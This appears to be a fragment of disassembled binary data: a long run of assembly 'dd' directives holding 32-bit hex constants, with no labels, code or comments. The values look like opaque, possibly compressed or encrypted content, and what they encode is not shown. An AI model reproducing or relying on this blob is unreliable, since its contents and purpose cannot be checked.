		dd 0B83D2380h, 0AE39C6h, 0F890DD4Ch, 4E5C4592h,	317EB300h
		dd 6610964Bh, 0D0D700F2h, 5B8C326Ah, 4D003AF1h,	51786F28h
		dd 9E91A3h, 33E46E53h, 84A0AEE6h, 0F405D5E0h, 0EB510A73h
		dd 0CDBE001h, 27E4F5F2h, 917450C1h, 4AB100BFh, 62C86995h
		dd 450C7D15h, 4AFE0353h, 0E8FB0104h, 0E4E33B13h, 5C80E443h
		dd 1AB0AE5Ah, 39DD15BAh, 4E009367h, 9DED8396h, 3614CC5Dh
		dd 3B8BFFE6h, 0CF659234h, 17ADF500h, 7295FEh, 0BA0AA089h
		dd 757ED44h, 51304892h,	0FF1844AEh, 732E2812h, 0D0B61093h
		dd 41F8064Bh, 1C8022Fh,	659D4ABFh, 0E725DABCh, 34C224C0h
		dd 4597410Eh, 5B78447Ch, 23E993h, 0E70D623Fh, 5491D407h
		dd 0BB768901h, 1E02EF04h, 0D8A61582h, 4542AEA0h, 28C0E620h
		dd 0F9030BC2h, 869FE7EFh, 0ED14F808h, 0E40C7B44h, 77A11D76h
		dd 0F1A80051h, 7D131EE3h, 0BE142600h, 6C444E85h, 87D20086h
		dd 27377753h, 0D100DD15h, 0CBB40130h, 1CEB3EBDh, 13CE069Eh
		dd 63C1E0BFh, 2FABB5C0h, 12DD9404h, 0C58DF0h, 0B14715C7h
		dd 93169E61h, 1900CADCh, 8B5C4992h, 7C77F853h, 3825004Ch
		dd 575FF996h, 1900D09Eh, 843BF60Bh, 0B41372h, 14BC3E3h
		dd 7A87D7C9h, 886AB700h, 7E96BA77h, 0CDFFA57h, 756D11EEh
		dd 0A4764095h, 6B058FF6h, 0DD828BEh, 0DA268000h, 71C157h
		dd 0F0099F8Ah, 92976487h, 52ACFC00h, 8F949DFh, 43931829h
		dd 0F10A44BCh, 74200414h, 0C2A808F2h, 0C9AB803Dh, 13AEFB36h
		dd 2D5BB105h, 0CF01D2B7h, 0CCB09DB2h, 8680D657h, 0C0D513F7h
		dd 67CD9B0Eh, 0FD5032DBh, 5D0372FFh, 11167D4Bh,	4DDCC0FEh
		dd 92850069h, 22D9F154h, 0BCE6BA07h, 3C12842Ch,	0BFBD80B8h
		dd 2FEB5FADh, 416D0703h, 7002FD09h, 0CB3D66E2h,	2C27140Ah
		dd 833DF993h, 552DF21h,	974BB01Ch, 0D35A3C79h, 59679F00h
		dd 0AE02DE3Dh, 0F5AFD700h, 0E40FF98Fh, 44BD4C74h, 57184158h
		dd 42215CFDh, 80605838h, 2B01D7DDh, 75FCE41Dh, 0B319C00Fh
		dd 5F477FE5h, 0B27CB512h, 616FB809h, 0B680413Fh, 3D84D8F0h
		dd 0E70E1FA8h, 0BF480A6Ch, 0C609F603h, 49B21D41h, 1E6B803Bh
		dd 72404E86h, 0D840509h, 75DD8062h, 6323DA42h, 0F931560Eh
		dd 318BC7A9h, 402DF4DBh, 0D8903190h, 0DE16E400h, 39B502D0h
		dd 0E79E040Eh, 0C0A344FAh, 3FF6C4CDh, 0E21C2A04h, 5CC0024Fh
		dd 0ED926h, 58F03DECh, 0F30C5CF2h, 41A3E09h, 8CBB8022h
		dd 0F13F0BAFh, 0AB6E7600h, 35C51500h, 0D70E5EF4h, 5CAC0042h
		dd 0A7F78DA4h, 3F00D554h, 619ABD26h, 0E232C8h, 2F7F151Ch
		dd 79C95FD2h, 40448660h, 92563A27h, 0F8DE0136h,	91FB2C73h
		dd 69806ADAh, 0CE639Ch,	3683E981h, 0F6170650h, 38601A00h
		dd 22AF9AD2h, 0E8B798E6h, 8F9D0154h, 0A78A7572h, 2AE0CF41h
		dd 0BDFADAD2h, 85122800h, 3B2F19E2h, 0AB9D09D5h, 0D987A65Bh
		dd 5A7C6069h, 0BD0023F1h, 0C0718E70h, 23B8C9Ch,	3714E4E8h
		dd 0DDBE93h, 2CEDF7C5h,	0B4462496h, 0C35682BBh,	0D181DD2Dh
		dd 0E4D32878h, 3E00A7C0h, 0B349E01Bh, 0E0969B63h, 185179B0h
		dd 4405FA4Ah, 0BB14A8C1h, 98175D7h, 80F4795Fh, 0AAE24FFEh
		dd 0D061009Eh, 0D35EA183h, 0F21D0E1Ch, 7CC0073Fh, 8163B069h
		dd 66B3017Eh, 4754A292h, 0F86EF4DEh, 0BFD38224h, 9B42CE02h
		dd 7ABD40FEh, 0E255B84Ah, 0E6150323h, 265EF643h, 1069CBB4h
		dd 751DCA6Dh, 9BE8A7h, 0A9F63BC6h, 8173AB11h, 16572C00h
		dd 0E69D0F38h, 2C376D1h, 0D40CA4F1h, 50E8A6E9h,	22120F2Eh
		dd 0C100073Eh, 4AFC1DC8h, 0A916387Ch, 21DDEB01h, 949D8110h
		dd 19E2723h, 0A0BF7109h, 1983CFB3h, 0EB238957h,	6DD53A80h
		dd 0F1220200h, 9CE3D087h, 0FF750083h, 85014E1Ch, 3300EA52h
		dd 5C9A9046h, 7421005h,	0AF827D8Bh, 1A17E0F8h, 92247663h
		dd 893B60BCh, 8922144Ch, 0B57C80F9h, 7DB56A9h, 62A7BB7h
		dd 6C10A031h, 9102BEh, 527643F4h, 62ED0981h, 6A6E004Fh
		dd 0D7E59Ch, 1A71072Ah,	4D7AB908h, 0CB001A98h, 0F06126ADh
		dd 6CD24Fh, 58D92834h, 7C6B93A1h, 44AA7F01h, 7E275FF7h
		dd 92E4A825h, 0C16B85Bh, 5159FDDAh, 800064DBh, 47B30399h
		dd 0FC4CE2h, 4A9A30E9h,	95E57BB6h, 14EA6662h, 132350ABh
		dd 122ED020h, 4D8C01C9h, 0BD9867B7h, 28158C44h,	20CCDB44h
		dd 475061E6h, 580C0F9Bh, 0E04EE06Bh, 2BD000E8h,	0B319B1FEh
		dd 0D912E7FCh, 3930C30Ch, 8EC65Eh, 1EB47D82h, 61B7B5C7h
		dd 8253473Fh, 7F933971h, 0D6E4AFh, 2A77B248h, 88752C92h
		dd 86B9AE30h, 11B6836h,	185F2032h, 30DF3D2Fh, 9F2DBCAh
		dd 4B4DBC00h, 0F9E379B0h, 0CE5F50D1h, 7AFB00DFh, 0E299675Ah
		dd 0BD012AD4h, 0BA3F041h, 29D4F5A5h, 0A63AB8DCh, 6F7D00C7h
		dd 0D069A190h, 49E031CEh, 0B06A3701h, 0D940211Ah, 98BB08CCh
		dd 67090337h, 42CB1718h, 2840D1B2h, 747FC170h, 0FAD59728h
		dd 1E9BA58h, 4614B6BEh,	61306A19h, 0D7A20088h, 978EA739h
		dd 0B0059CCh, 959466FDh, 4AB048h, 98AF3D23h, 0E434CA67h
		dd 0C9161B00h, 0C81514E7h, 0F60400F4h, 0FB91A05Fh, 0BFB050ABh
		dd 0FA00A1B0h, 46DE2B06h, 3EFFA8E0h, 30140116h,	0B800A334h
		dd 8337B2EAh, 7E0B8C72h, 8B28D2E0h, 55992058h, 3B33F605h
		dd 3880FDE6h, 6981CC52h, 7F128BC3h, 86016582h, 0FE4BB149h
		dd 0C05FB792h, 5D4A339Ch
		dd 0C40F794Ah, 95CD0001h, 98B77289h, 1AFE3B18h,	0D4A21C60h
		dd 0A5EAAA9Ch, 7E3F8C0Ch, 48F26A5Ch, 4C0E4166h,	4BA0916Ah
		dd 0FD8258A6h, 0AE3C8A00h, 33C96897h, 0CB1C3AE3h, 0C8003B48h
		dd 0EED8F7DBh, 98C07F12h, 2C192EE5h, 17D348h, 3821CAA9h
		dd 45075B26h, 0BBA4CE2Bh, 0EF91EA37h, 3EE07212h, 1FA0F06h
		dd 0AC2007DEh, 6379AD5Fh, 972BD43Eh, 4B402070h,	37EE5E89h
		dd 361B3F4Ah, 81960F80h, 0D657B094h, 6A381813h,	90110186h
		dd 56640000h, 869BF288h, 1BC0B599h, 91376F3Dh, 0EDB066h
		dd 402C4C2Dh, 0AEE65EE4h, 33019B72h, 3B15BCF8h,	0B30B66Dh
		dd 78C50F6Ch, 1A2051E0h, 0DDF51EC0h, 0A90F2200h, 19E6C871h
		dd 32C4DCEh, 972F7C00h,	0B44B9B31h, 8C307D3Dh, 3D614532h
		dd 0E31B00E9h, 55E266F8h, 6C00A0D6h, 0F938C79Eh, 0EC1363h
		dd 65808E45h, 0F1D37CB4h, 0D50009B0h, 3D14E230h, 0D96FC2h
		dd 8F717689h, 250CF2A2h, 0DA40D805h, 0BA97E98Dh, 13584C00h
		dd 0FB1E0AC6h, 82DDCCAEh, 0B2FF32CFh, 0D4B64368h, 247E275Ch
		dd 0B40A49D3h, 11120CD2h, 89BDB914h, 4B70516Fh,	0E8901153h
		dd 0A82FEED6h, 0DB5C815Ah, 28D3F42h, 2715CFE4h,	8B60795Ah
		dd 0F3006AE5h, 0FDB9512Bh, 9F69EC6Bh, 8D82A474h, 750AD072h
		dd 0E1FE9B0Bh, 803A5FD1h, 2552A3B3h, 0F631082Fh, 478F8FD7h
		dd 0BA778107h, 9ADD270Fh, 5CD7DE0Eh, 0E2E95C0Bh, 171B80D9h
		dd 0F677558h, 0A614B8B9h, 0C50305A3h, 5646E0E8h, 0AA1D7800h
		dd 0B70FF6E1h, 18E440h,	691FF806h, 3F92EE65h, 93276F00h
		dd 0C6426461h, 54B10040h, 0DE72323Eh, 0BD385DCEh, 0F54C81F2h
		dd 0FB0317A5h, 307734C8h, 0F7990EE8h, 0C603F964h, 88D4749Dh
		dd 5D5BA03Ah, 0F930BDFh, 66C4038Bh, 0E95AC214h,	9BC1001Dh
		dd 24728E31h, 0BD1903B2h, 5A324D2Ah, 3AC281B0h,	12B36C40h
		dd 0AFC92BB4h, 9171FA04h, 1106DCE8h, 4F0A800Fh,	9CBC84ECh
		dd 39ABBB41h, 0AA6CB02Ah, 4276B572h, 137CE306h,	3182C51h
		dd 76DA3CCBh, 397F0DE9h, 0C3C8A200h, 7EC2D139h,	0E5510014h
		dd 0EF819921h, 0ED048C36h, 0B2CC8004h, 0B00A2583h, 310F85D4h
		dd 0E9451582h, 0E60B8010h, 6C15ACAh, 258200DFh,	0EC8021DAh
		dd 7A252C2Fh, 49D667h, 81C6BF0Fh, 639774F9h, 8C85C93Ah
		dd 0D7FD7h, 690DAAF7h, 0EBF9C14Bh, 0B9F20805h, 56C1514Fh
		dd 99F050ECh, 1F341D68h, 2B4B0E9Ah, 0F189E880h,	5367EDA8h
		dd 0DF41B521h, 11808151h, 77CCFFCBh, 683C9D0h, 34AEAA38h
		dd 410211E5h, 465A9CD8h, 3C103A2h, 0ADAA91E8h, 8A71988h
		dd 711ED080h, 8BD2823Fh, 136B8307h, 0C81F4EE1h,	9F06A852h
		dd 0BDC5D4B8h, 0C1F57408h, 422FC020h, 0EC90054h, 641F7387h
		dd 0C0B5107Eh, 1632FE7Bh, 8CCE4200h, 0D798D379h, 1F761F4Ah
		dd 26C64180h, 0DDFA75EEh, 2391F06Eh, 0C96024F0h, 0F5DF3610h
		dd 1D7901C4h, 68EB1EDh,	0EFA7E09Ah, 941FBBF8h, 8F0AF018h
		dd 0E80F14C1h, 0DF0480BCh, 0EA81D668h, 0A9A21869h, 0C7B9F99Dh
		dd 23200E00h, 1AC56FE5h, 0AE08CCADh, 0BF1FE021h, 77C09B0Eh
		dd 261DBA02h, 9085E3CDh, 4A3364Bh, 40C1DAE4h, 149B820Dh
		dd 4291825h, 1F4A69D0h,	844FE628h, 54E8F514h, 0C05100A3h
		dd 44A3C46Dh, 73823057h, 0D8BF6820h, 3BBE914h, 0D443E320h
		dd 2F1B2760h, 0C32E1903h, 6EED5D25h, 0F6E3F0A0h, 1005DDF8h
		dd 9B3F4611h, 51DCB402h, 1C20485Fh, 59C4316Ah, 0E0C09D36h
		dd 0F8007494h, 0CAD622E2h, 0CE47B2Bh, 9F5AD8F3h, 23EE29E8h
		dd 0EA7A470Fh, 0FFF267BAh, 0A81B4293h, 4E54FE9h, 0C3DE1C3Ch
		dd 0B4288882h, 9F92FD00h, 0AB44D283h, 36015C67h, 58D05060h
		dd 4618D964h, 22A0A1C4h, 0CDB5241Eh, 11DC4804h,	0EC2829Dh
		dd 31F4E21Bh, 0DB10B0DCh, 0FDEE0EBAh, 0AA4F950Ch, 11A19A3h
		dd 5603F0A9h, 30408C6Dh, 7A00B17Ah, 7B9C107Ch, 40E93B9h
		dd 0D1782A1Fh, 0C3A097C6h, 0FAF85E21h, 40076903h, 60FF5729h
		dd 6F6D1BF0h, 553F884h,	0E22F4C73h, 0D2D40050h,	7893214Eh
		dd 49CCD331h, 89BFA0AAh, 0ECB2DF81h, 20ACDC0Ch,	814F3F4h
		dd 788899EEh, 0AA89D48h, 0A06C8216h, 84A88880h,	0CB7F1F7h
		dd 8FE99DE5h, 21C17C08h, 884A0ADh, 27FCB68Ah, 9A500AD7h
		dd 46A8307Ch, 9B61DA5Eh, 0C433BA70h, 0E19996h, 0EE4AA69Ah
		dd 42334F8Ch, 0DA08DEh,	2BEC0321h, 0AF82A452h, 0E9E77A00h
		dd 0DC802322h, 0A9A53EB2h, 0C0B669E4h, 0D7A7B965h, 249CC700h
		dd 8346D46Fh, 0F7ECA07Bh, 1274E9h, 4E653EB2h, 0AAF3AB37h
		dd 13B09F48h, 6408EA98h, 2CA2D3h, 9E5DE362h, 14C7905Bh
		dd 0D671A000h, 67F1F4B9h, 7B822AE5h, 78EEA84h, 6F208723h
		dd 2216105Dh, 9F0046E4h, 0AC34156Bh, 66AC02Dh, 73567D65h
		dd 0D962988Eh, 99CB378h, 4E6F8404h, 0A03E05F3h,	5819CC01h
		dd 0D8DC13BAh, 0A9AB26B8h, 0D2FB40A0h, 1A7EE61Eh, 33162100h
		dd 0DEB814F1h, 0BB0D009Dh, 1140C8A6h, 7C4877ECh, 0ACC20094h
		dd 768C9E4Ah, 68F7357Eh, 13301288h, 4F0709F0h, 1C6BD020h
		dd 0D403C45Dh, 0CC6CBE1Dh, 63083005h, 5D148E21h, 641C7100h
		dd 16B3D11Eh, 18D8E679h, 0C96D24D0h, 3C1205CEh,	0D007EA6Fh
		dd 330789C4h, 0FE1C2200h, 0F750031Ah, 0B5B28F7Eh, 9B4988FEh
		dd 0EC080B8h, 8CAD2319h, 6D9AF44h, 0F75F0EB8h, 40C8C08Ch
		dd 0EC3C09Eh, 0C546231Ch, 0DC01B622h, 0D96D0EBBh, 0A2C009BEh
		dd 52430354h, 1F11EA29h, 4A67308Fh, 7248EE4Fh, 56CC83B0h
		dd 5810E62Eh, 0F198A050h, 12249C28h, 30409083h,	8210Bh
		dd 1B51E249h, 0B493575Dh, 38428A03h, 0F3066EFFh, 0AC978CF3h
		dd 71134B57h, 27113BF2h, 7715CE00h, 824EC2A3h, 84C8624Ch
		dd 0EA01420Ch, 8055BA2Eh, 0A70ACE18h, 709BFC74h, 2619FC54h
		dd 28B8926Bh, 3DBD46C0h, 4AA904F6h, 0DC328D06h,	2BEF672Fh
		dd 90D4FEE0h, 9FB13F6Fh, 37564C04h, 53608C94h, 44219B44h
		dd 0E4F5C069h, 0FCA2F284h, 0B311EC1Dh, 0C2A2980h, 0EE17C241h
		dd 6001B652h, 0BEFAD8F1h, 6D822200h, 9E871CCh, 78AB49BAh
		dd 0D010A09Ah, 0B817F822h, 4824485Ah, 0D4D1B83h, 251A9E21h
		dd 0D701F889h, 42F520C8h, 588F8CD6h, 0F071F78Dh, 80E3AAA3h
		dd 135D5651h, 1CBBABCh,	5E40DAF7h, 0E01F4849h, 9D0B579Ah
		dd 0AE688FDh, 810C7830h, 504977h, 0CE21C6B8h, 0F8B9AB3Ch
		dd 0E5BCDB00h, 36EA8718h, 0F0515046h, 98B567C6h, 549F88EBh
		dd 0E49524BEh, 0EC046C92h, 10074BBh, 0E089FE0Ch, 595022h
		dd 0F08BDB4Dh, 0FF2AB67Bh, 0F2F94B02h, 0C81A85A4h, 20E71E2Ch
		dd 7E2EC49Fh, 17420064h, 11240A42h, 42F28FB9h, 67E64AA5h
		dd 0EB0200E4h, 0BE74F32Bh, 0B06DC52Eh, 0EAC0FE04h, 8C4CDE01h
		dd 547620B9h, 2002B7B0h, 0FEE8F22Dh, 7F489B5h, 9E03F49Ch
		dd 11004A5h, 0A2A2EDA9h, 5CF0264Ch, 0C85D20C0h,	223D46D4h
		dd 18921D61h, 1C034B5Dh, 0DBBC5482h, 0F84CA303h, 0A1C2A052h
		dd 4019EB2Ch, 15D4C3DFh, 62442CA4h, 5D13008Dh, 0C00DF353h
		dd 0AA61E0F1h, 7E374AB1h, 6161A475h, 5CC2AC01h,	6823B303h
		dd 5D190FE9h, 6205D444h, 118B2066h, 4500905Dh, 0CF223C80h
		dd 18F1E1E4h, 70B412E8h, 2501997Ah, 0FE24D739h,	0E187C9ACh
		dd 0FC564EF4h, 0D1182E78h, 430CC66h, 611E1825h,	74B328E9h
		dd 32FC50Bh, 3F140042h,	587148DFh, 0F1809033h, 19B151F4h
		dd 0C8DAD00h, 0AF08B320h
		dd 486704EDh, 0C1E0B426h, 4192A544h, 0D61F7EC4h, 1E984840h
		dd 0B191E560h, 4559142h, 931F4EC5h, 0AE60C884h,	1C67E717h
		dd 0D950A030h, 0F6C00037h, 0DFB0A0DCh, 0CA6033FBh, 35F54591h
		dd 0A34A0F56h, 0F9C095A4h, 5772A6B8h, 1109CA79h, 24C1DEDh
		dd 41D21B2Ch, 7472D328h, 0B0337DF2h, 0B94D5B0Ch, 6260B70h
		dd 6E81BB00h, 13317E74h, 6A51E88Ah, 178A602Ch, 84A94034h
		dd 0BF46F1F8h, 0AE038322h, 0B3CA84A1h, 115AE0A2h, 25120498h
		dd 0A0D310FEh, 2312A44Ch, 0A0405506h, 1DFA82D6h, 202C9020h
		dd 0C97C64AAh, 7A60817Dh, 97F92B59h, 1157ABDh, 8F02EDE1h
		dd 435DD6A3h, 0B2E01AAEh, 907E27Ah, 0EA5744A6h,	468482Ch
		dd 261CCAC0h, 4B109065h, 0B801B335h, 215A4C9Eh,	0C445C55Bh
		dd 800FB881h, 0CC8C1D04h, 94B08375h, 0CEC0F503h, 0A90B37Eh
		dd 62DC9920h, 202014CCh, 1872E7E1h, 0F8C75434h,	0F2CF04F8h
		dd 81EA605Eh, 6C382B4h,	0F6521090h, 309E1CC1h, 22C2DD00h
		dd 0A7CE0Ch, 97D70318h,	0B9CDFD2Ah, 49F8345Eh, 0CB04293Ah
		dd 0C0E80AB6h, 0D80C31E8h, 1206BF0Eh, 140097D2h, 524B0D0h
		dd 15A01FB8h, 2FB4C09Ah, 26AED1E6h, 0B0DC0800h,	0BEDAFF17h
		dd 0D709142Ah, 0ACA1384Bh, 0CE10E0BDh, 8C184AE9h, 780E08B1h
		dd 0B02460CAh, 0DD033990h, 12C9A39h, 0FD30BDB8h, 243099B1h
		dd 24BA3ADAh, 19F787Bh,	35B4E0DEh, 404BB6E3h, 0BCEF1068h
		dd 0A1715F0h, 606499B2h, 5D82046Ch, 0F10578FFh,	854977D0h
		dd 1BE00008h, 0B89FAAFBh, 0B646D800h, 0E9C63517h, 0D04C59D0h
		dd 5C564A06h, 33C1818h,	50761482h, 846A2608h, 96EE2602h
		dd 9BFC8170h, 2C414FC0h, 0BCD1E167h, 0C63F444h,	0C88477Fh
		dd 30B70618h, 0EE362384h, 22A05901h, 0F50C184Ch, 4048DDD0h
		dd 0DC024911h, 0E1681906h, 2B155983h, 0A78F59Eh, 586D0411h
		dd 0C8EFC010h, 0D3E477A8h, 1D83F23Bh, 21261D61h, 784BF834h
		dd 42744ED0h, 0C396E814h, 0B55D4400h, 5CC40AD4h, 2E0C08ECh
		dd 0B561174h, 206F5ED6h, 9C2C1CC8h, 2B9D0A4Ah, 0F0C7ECFh
		dd 0D0137799h, 3E374C20h, 3087558h, 23150EEBh, 1487A56Ch
		dd 5A0991CFh, 14A2A545h, 58800624h, 0F1F284CEh,	0A2644E53h
		dd 0AC2C20C5h, 54E31F4Ah, 73BC088Ch, 67EE2741h,	9629B848h
		dd 99410344h, 190A0DFEh, 0F826C5B5h, 0E0169B65h, 26162C93h
		dd 1148B859h, 0FE98064Ch, 14C1E334h, 8C751B7Eh,	0E4A3CDC8h
		dd 585D2250h, 503674C9h, 0FD429869h, 0FA859062h, 44A0B324h
		dd 2FC018CBh, 4FD2512Bh, 31884E53h, 6903E0B8h, 84296420h
		dd 94016729h, 6E454037h, 4208E042h, 450C46A6h, 34800A57h
		dd 0C619909h, 8C40DE90h, 0B1FA84ACh, 6D295404h,	0E99888D8h
		dd 0A19A2BE0h, 990857F4h, 0DDFE1E22h, 568B1240h, 428C8D60h
		dd 80287528h, 99A32751h, 68AE0B0Ch, 33211CC9h, 85E9F80Ch
		dd 84BC3A4Bh, 984AA6A8h, 9958E680h, 0DF280C8Ch,	0FA248C85h
		dd 917F9C2Bh, 1221EA0Eh, 0A04AC0AEh, 120BC3F1h,	14080B73h
		dd 0D191BE78h, 86745877h, 0AF61E7AAh, 48F18850h, 1928A4F8h
		dd 51A9455Bh, 0BEA84D60h, 0CB341981h, 0D84D8879h, 5856A439h
		dd 934CD6CAh, 0C42C3F5Ch, 0B76B17CAh, 98AFDFF8h, 9B3BA48h
		dd 0F94D14C8h, 75D67803h, 0B08244E4h, 2B22DC14h, 1360D496h
		dd 0F4C4E02h, 16829EFh,	7198C4CFh, 482622Ah, 3C517F9Ch
		dd 27ABF681h, 0E8451E05h, 119D3C1Ch, 0E532395Bh, 0C13CD851h
		dd 0B6E7595h, 669E101Eh, 6954204Fh, 5F00BA90h, 9A457831h
		dd 9112109h, 25D09EBDh,	0B1C39010h, 0E57C420Eh,	0FB5D87E3h
		dd 14CE188Ch, 140298D6h, 0D1D87717h, 0C57D7AACh, 0E9F7F0D5h
		dd 9B353Ch, 0CEC071BDh,	7194486h, 81CD5124h, 0DCAE80EBh
		dd 0A0777EAh, 3BE9F389h, 99A03080h, 0A1620080h,	291B1547h
		dd 50C9ABFh, 69D033D2h,	0FD7E30h, 0B59E09C2h, 0CEF2E3A7h
		dd 0B3E52501h, 99805B2Ch, 1C5D4FCh, 4CB1BACCh, 0D25AC895h
		dd 91C1C868h, 0C339EC00h, 0E998EE53h, 99B600CDh, 49EA924Ch
		dd 1CBE33C9h, 0AC1F0793h, 0B90A7880h, 38C05B7h,	0A093DF7Eh
		dd 7CB0F2CAh, 0FB3EDEFCh, 87403B8Bh, 0C35E629Dh, 0E0DF47A3h
		dd 0F569C80Bh, 651020B0h, 660F4670h, 3935961h, 0C04727E6h
		dd 7464710Ah, 5F6E0174h, 0B7A22C7Fh, 443980F8h,	3284B5F0h
		dd 1972000Bh, 6A08226h,	3C009CEBh, 0FE224CEFh, 0AD80E0h
		dd 9A2F9EFFh, 4D661890h, 89A66B00h, 4199F69Bh, 0A0910071h
		dd 0D07A12B2h, 926708ECh, 4CC38B98h, 6FE17C04h,	6681B113h
		dd 9897D154h, 4291FA20h, 94D897B9h, 0E0150307h,	0CC2E7BFBh
		dd 0A5F20FCh, 0ED7467ACh, 250B808Ch, 0E18DA6CBh, 0EF8F6A01h
		dd 0CAD6049Ch, 43B02180h, 0AAD065AEh, 0B2E1C300h, 3188DAF7h
		dd 0CA97CBEh, 81B3E339h, 0CAE42268h, 552CAA00h,	8BF73314h
		dd 0E8EA0094h, 4ED2ACC4h, 1B00A3D6h, 688246Eh, 0BBD1930h
		dd 0C32372E3h, 8280178Eh, 78E471E8h, 0C083EA00h, 218107E6h
		dd 72B2034Eh, 301FBDB3h, 741B7BB0h, 0DABECE00h,	20C31977h
		dd 281A6669h, 0E83B1068h, 1C307C6Dh, 0AF304585h, 841F01B4h
		dd 2FF34CCEh, 72E9F00Bh, 0EC4E061Eh, 0F7BD1E09h, 0E7826F00h
		dd 0E365AE2Ch, 46BAFB8h, 8C0B2EEBh, 810F8400h, 141C2DEDh
		dd 184FF6ABh, 24EE63A1h, 403B24B8h, 0BF06000Eh,	0F6E4DA70h
		dd 5E9E06CEh, 18BC09F0h, 297F6607h, 9D0FD073h, 59D67B8Ch
		dd 9CBD0047h, 0F664A18Eh, 3BFEA437h, 191F7E1Dh,	5E45AE80h
		dd 392A22D9h, 6BBC404Fh, 78BC3200h, 454B7ACAh, 2BA65B00h
		dd 2E6DC36Fh, 89310061h, 2A783DAEh, 1C744881h, 57537E0Fh
		dd 0E547808Ah, 573E9E1h, 48D33264h, 214001B5h, 0ACCEDAE3h
		dd 851890E9h, 0C57BAE08h, 801223F9h, 258A5C2Ah,	0DAA07CA8h
		dd 0CA49408h, 37C0F362h, 10C0B699h, 345C38CCh, 68BF60E9h
		dd 0C2D30695h, 0D528CA0h, 942E68C0h, 0C08C404Eh, 6D2F6681h
		dd 40DFFA5Dh, 0C330908h, 2550A438h, 6B78EE65h, 8279D423h
		dd 4D8CB86Ch, 0FF023A5h, 38800EC6h, 0D9043524h,	0C8F6D2E2h
		dd 6307F7B0h, 0DB444D92h, 0C9406154h, 0A406FA6Eh, 931B307h
		dd 0FDC43E7Ah, 7988D648h, 502A085Eh, 578812C7h,	0C8494218h
		dd 0E0F03E3Eh, 25C4B200h, 0A7AC26DDh, 12408701h, 0CE71E37Bh
		dd 0F6EECF8h, 6D1BBD0Dh, 7831830Bh, 71506008h, 549899B0h
		dd 1600C3F8h, 0E7C2F68Fh, 44E226Dh, 0E5B84CA8h,	17949CB6h
		dd 0CBC85700h, 5B1974D4h, 1F04A6D3h, 140F959Fh,	8D00CCAh
		dd 9690C07h, 74A3C87Bh,	8A53E0Ah, 0C3C2FC47h, 0CE14A5E2h
		dd 0A0E6D80Ah, 92604074h, 686209CAh, 832F865h, 4FFB2496h
		dd 0A330158Eh, 0AA2110DEh, 613CE160h, 8C275002h, 0CF08C848h
		dd 43703E8Ah, 10263692h, 3EDF9CE2h, 61469297h, 0E2303F3Ch
		dd 50008C9Ah, 7002A33Eh, 31AC28CCh, 0A609C8A9h,	0C019E0A1h
		dd 991AD11h, 66A722AAh,	9C129C4h, 0BB19BE66h, 0C5B84409h
		dd 9C221CCh, 0BC19CCBFh, 0B689B909h, 0BAE2D310h, 5CFE8700h
		dd 4AFC9409h, 32A89216h, 0FDB861FBh, 0AA528496h, 6B2AEB04h
		dd 0BCCA5008h, 65E10083h, 4FFD46AFh, 174E2FFh, 0FB3B3C74h
		dd 0D28F80B9h, 0E188AC64h, 0B6AF3EE7h, 2E0FCF3Ch, 668FD7FDh
		dd 0F0BE4019h, 9040504Fh, 0CFC6811Ch, 0CF69D2E9h, 2946EBC1h
		dd 0FFDAF48h, 25ABFE04h, 14C662h, 0A7F8800Ah, 6EF69626h
		dd 384A6389h, 1884F0E0h
		dd 50225310h, 1975AB03h, 922AC5Dh, 171882ADh, 0C05DF504h
		dd 63CDF77Dh, 15486A01h, 3F4379B0h, 0BF2B1040h,	5838A54Fh
		dd 247E6E31h, 641F0F74h, 0BE0C4BF8h, 0FC18D6h, 0E7B5E1D5h
		dd 65D273FBh, 0C91CFF50h, 43028BF8h, 0B2696A67h, 85289363h
		dd 7FE470EAh, 3C317002h, 0B8632850h, 82D3180h, 68321BEh
		dd 6B1D4E00h, 81A9E2D8h, 0F5078B3h, 0E5842378h,	0E948C3DEh
		dd 0ECB00970h, 0E3572474h, 87F07214h, 0E27D1E7Ah, 7C6DDA3Fh
		dd 2382E918h, 3C067230h, 2500F188h, 0AE321F4Fh,	6C181DC8h
		dd 2290BF18h, 30ED377Ah, 25774018h, 6C06E380h, 6E1BBF19h
		dd 828D880h, 1A3A7706h,	0B28100B4h, 0E24FEDBEh,	85E93086h
		dd 0B4B37431h, 0E7BE59C2h, 100C9ADEh, 0F052DA8h, 21831F7Bh
		dd 0B26EECA2h, 7748880h, 0DCA6E888h, 72762603h,	0C0AEA3F1h
		dd 0C0E5434Dh, 3880F049h, 55E1CFC6h, 9028EFB4h,	0C0DE3D32h
		dd 8F73E180h, 0F5E97C33h, 54B46B00h, 3864A1DBh,	98A6002Eh
		dd 0FF79AE8Ah, 4600D331h, 0DEF82F68h, 0C78D404Dh, 10427071h
		dd 587FE864h, 6B383201h, 0C9E36ACFh, 0C0E4B6C8h, 0B963EA28h
		dd 2E12C24Fh, 4461CDh, 0CE0AAE3Dh, 90453C18h, 0A921DC68h
		dd 0D165630Ch, 0CDA405A5h, 7325E6Ah, 48012D2Ch,	0FA8EF88h
		dd 4015ABF7h, 2EC12F06h, 380C3872h, 0B8AF9E54h,	0F759C364h
		dd 3029AD65h, 0FA0DA887h, 0B3F83186h, 0CB28C0A9h, 0E86C82F0h
		dd 0E0FBBF0Ch, 5FD4060h, 653D301Bh, 6FD00864h, 0E030DCC4h
		dd 0F86D0BBh, 0E57E3821h, 5B5A30D8h, 6118AC60h,	0C06E3DE8h
		dd 0F5376468h, 53E1FA98h, 0F105C7A4h, 0BAD4E4C1h, 4E39DC18h
		dd 612FE266h, 75F73104h, 0A61895E2h, 1C7D144Ch,	56844058h
		dd 25804A7Bh, 0DCF20440h, 41E2BF05h, 0B0B54924h, 45873186h
		dd 0E45418FDh, 58AAE24Ch, 91A6E826h, 0D52E6A02h, 7DAE8936h
		dd 0CCBDC420h, 0A4A4B7F0h, 9EE27C42h, 0B8B1744Dh, 210BFE62h
		dd 0FBA10838h, 84C17A56h, 8A534910h, 52B547C2h,	2B892884h
		dd 3108A19Eh, 71117ED4h, 0A1DC892Dh, 7DA81911h,	65882F42h
		dd 106A4144h, 0EBA149FDh, 3529123Ch, 8A52F104h,	50828472h
		dd 8A1FD251h, 0C428505Dh, 35B92293h, 7471E112h,	5C326063h
		dd 43846C48h, 603252DAh, 0BF346869h, 5157606Fh,	0E8985CAFh
		dd 4011CA6Ch, 448C98FCh, 833FBCADh, 0E2EA19C9h,	6A13AE58h
		dd 40E30903h, 11F12FA7h, 1DDB4338h, 263F83DCh, 11B1A4D4h
		dd 4C4CC243h, 34C54D2Eh, 0CF9E5200h, 0AE497FE7h, 38322781h
